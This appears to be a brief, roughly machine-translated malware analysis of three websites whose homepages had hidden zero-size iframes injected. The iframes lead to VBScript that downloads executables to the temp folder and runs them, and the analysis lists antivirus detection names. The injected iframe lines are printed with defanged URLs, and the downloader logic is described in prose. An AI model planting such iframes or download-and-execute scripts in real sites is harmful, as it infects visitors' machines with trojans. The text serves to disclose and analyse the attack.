Three websites are infected with trojans from one

EndurerOriginal

1Version

1st websitesCode added to the homepage:
/-------
<IFRAME src = 'htxxp: // www. ***. Why *** all.com/1'width = '0' Height = '0' frameborder = '0'> </iframe>
-------/

1. htmThe content is the VBScript code that adds extra spaces. (Rising news:Trojan. DL. vbs. Agent. r, Kaserpsky reported:Trojan-Downloader.JS.Agent.ba)

The script code uses Microsoft. XMLHTTP and scripting. fileSystemObject downloads htxxp: // www. ***. why *** all.com/1/test.exe, save it as test.exe in % Temp %, and use shell. the ShellExecute method of the Application object to run.

Test.exeUse nspack 1.3-> North Star/Liu Xing ping to shell. The length is 85,930 bytes. Kaserpsky:Trojan-PSW.Win32.WOW.iu.

 

2nd websitesCode added to the homepage:
/-------
<IFRAME src = 'htxxp: // www. ***. Why *** all.com/2'width = '0' Height = '0' frameborder = '0'> </iframe>
-------/

2. htmThe content is the VBScript code that adds extra spaces. (Rising news:Trojan. DL. vbs. Agent. r, Kaserpsky reported:Trojan-Downloader.JS.Agent.ba)

The script code uses Microsoft. XMLHTTP and scripting. fileSystemObject downloads htxxp: // www. ***. why *** all.com/2/du.exe, save it as test.exe in % Temp %, and use shell. the ShellExecute method of the Application object to run.

Du.exeUse nspack 1.3-> North Star/Liu Xing ping to shell. The file size is 12,286 bytes,
Kaserpsky:Trojan-Downloader.Win32.Delf.aul, Rising:Trojan. DL. Delf. cwh.

 

3rd websitesCode added to the homepage:
/-------
<IFRAME src = 'htxxp: // www. ***. Why *** all.com/3'width = '0' Height = '0' frameborder = '0'> </iframe>
-------/

3. htmThe content is the VBScript code that adds extra spaces. (Rising news:Trojan. DL. vbs. Agent. r, Kaserpsky reported:Trojan-Downloader.JS.Agent.ba)

The script code uses Microsoft. XMLHTTP and scripting. fileSystemObject downloads htxxp: // www. ***. why *** all.com/3/du.exe, save it as test.exe in % Temp %, and use shell. the ShellExecute method of the Application object to run.

Du.exeIt is the same as 2.htm download.